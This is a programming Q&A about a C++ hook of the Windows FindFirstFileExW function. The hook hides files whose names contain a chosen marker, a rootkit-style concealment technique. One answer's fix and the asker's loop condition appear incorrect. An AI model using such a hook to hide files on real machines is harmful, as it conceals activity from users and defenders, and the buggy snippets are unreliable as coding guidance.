D_R
D_R

Reputation: 4962

Casting WIN32_FIND_DATA to LPVOID

How can I cast WIN32_FIND_DATA to LPVOID?

I am trying to hook a function but I am unable to cast WIN32_FIND_DATA to LPVOID

this my function:

/* New FindFirstFileW Function */
HANDLE WINAPI newFindFirstFileExW(__in LPCTSTR lpFileName, __in FINDEX_INFO_LEVELS fInfoLevelId, __out LPVOID lpFindFileData,  __in FINDEX_SEARCH_OPS fSearchOp,
                                     __reserved  LPVOID lpSearchFilter, __in DWORD dwAdditionalFlags)
{
    HANDLE hFind;
    WIN32_FIND_DATA findData;
    BOOL ret;
    hFind = FindFirstFileExW(lpFileName, fInfoLevelId, &findData, fSearchOp, lpSearchFilter, dwAdditionalFlags);

    if (hFind == INVALID_HANDLE_VALUE)
        return hFind;

    // if first file name starts with HIDE_NAME_W skip the file
    if (wcsstr(findData.cFileName, HIDE_NAME_W) != 0)
    {
        ret = true;
        do {
            ret = FindNextFileW(hFind, &findData);
        } while (!ret && wcsstr(findData.cFileName, HIDE_NAME_W) != 0);

        if (!ret)
        {
            SetLastError(ERROR_FILE_NOT_FOUND);
            return INVALID_HANDLE_VALUE;
        }
    }

    lpFindFileData = reinterpret_cast<LPVOID>(findData);
    return hFind;
}

EDIT: Thank you all for your help its working now my problem was that i forgot to change the called function.. i was hooking to FindFirstFileExW some other function

Upvotes: 1

Views: 394

Answers (2)

pezcode
pezcode

Reputation: 5769

You have to copy the WIN32_FIND_DATA to the memory at lpFindFileData. The line before the last return should look like this:

*reinterpret_cast<WIN32_FIND_DATA*>(lpFindFileData) = findData;

Upvotes: 2

John Dibling
John Dibling

Reputation: 101456

lpFindFileData = reinterpret_cast<LPVOID>(findData);

findData is not a pointer in this context, it's an actual WIN32_FIND_DATA.

Do this instead:

lpFindFileData = reinterpret_cast<LPVOID>(&findData);

Upvotes: 2

Related Questions